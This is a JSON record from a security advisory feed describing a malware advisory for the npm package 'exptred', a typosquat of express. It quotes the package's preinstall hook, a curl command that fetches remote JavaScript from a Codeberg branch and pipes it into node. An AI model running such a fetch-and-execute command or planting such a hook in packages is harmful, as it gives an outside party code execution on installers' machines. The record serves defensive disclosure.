{"items":[{"id":"NVI-00009691","kind":"supply_chain_event","title":"Malicious code in exptred (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-9ggr-p22c-2m4m"],"plain_summary":"GitHub lists this malware advisory for exptred, exptred. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-2e2fe7befc8aa2167747ac4bb27bbdaa"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-2e2fe7befc8aa2167747ac4bb27bbdaa","url":"https://github.com/advisories/GHSA-9ggr-p22c-2m4m","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-9ggr-p22c-2m4m","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:07:22.853Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-2e2fe7befc8aa2167747ac4bb27bbdaa"],"technology":"exptred","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (d91842ab3e5c93f5689a985b63f8de5455910d88d6815ee35f2d35d27f8a4cf7)\nnpm package `exptred@5.2.1` is a typosquat of `express`: package.json copies express's description ('Fast, unopinionated, minimalist web framework'), author (TJ Holowaychuk), repository (expressjs/express), and homepage (expressjs.com), and index.js re-exports lib/express. The tarball adds a `preinstall` lifecycle script that pipes remote JavaScript into `node`: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/... | node`. On `npm install`, whatever bytes the web.archive.org-proxied Codeberg branch currently returns are executed on the installer's host. The source is a personal Codeberg user's raw branch content — mutable, non-publisher, unpinned, and integrity-unchecked — so the operator of that branch controls arbitrary code execution on every machine that installs the package.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.1"]},{"certainty":"source_listed","source_ids":["sr-2e2fe7befc8aa2167747ac4bb27bbdaa"],"technology":"exptred","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (d91842ab3e5c93f5689a985b63f8de5455910d88d6815ee35f2d35d27f8a4cf7)\nnpm package `exptred@5.2.1` is a typosquat of `express`: package.json copies express's description ('Fast, unopinionated, minimalist web framework'), author (TJ Holowaychuk), repository (expressjs/express), and homepage (expressjs.com), and index.js re-exports lib/express. The tarball adds a `preinstall` lifecycle script that pipes remote JavaScript into `node`: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/... | node`. On `npm install`, whatever bytes the web.archive.org-proxied Codeberg branch currently returns are executed on the installer's host. The source is a personal Codeberg user's raw branch content — mutable, non-publisher, unpinned, and integrity-unchecked — so the operator of that branch controls arbitrary code execution on every machine that installs the package.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.2"]}],"null_published_at":"2026-10-31T22:13:39.929Z","source_updated_at":"2026-10-06T00:34:12.000Z","source_disclosed_at":"2026-09-29T15:31:03.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:07:22.853Z"}],"next_cursor":null,"snapshot_revision":"42594"}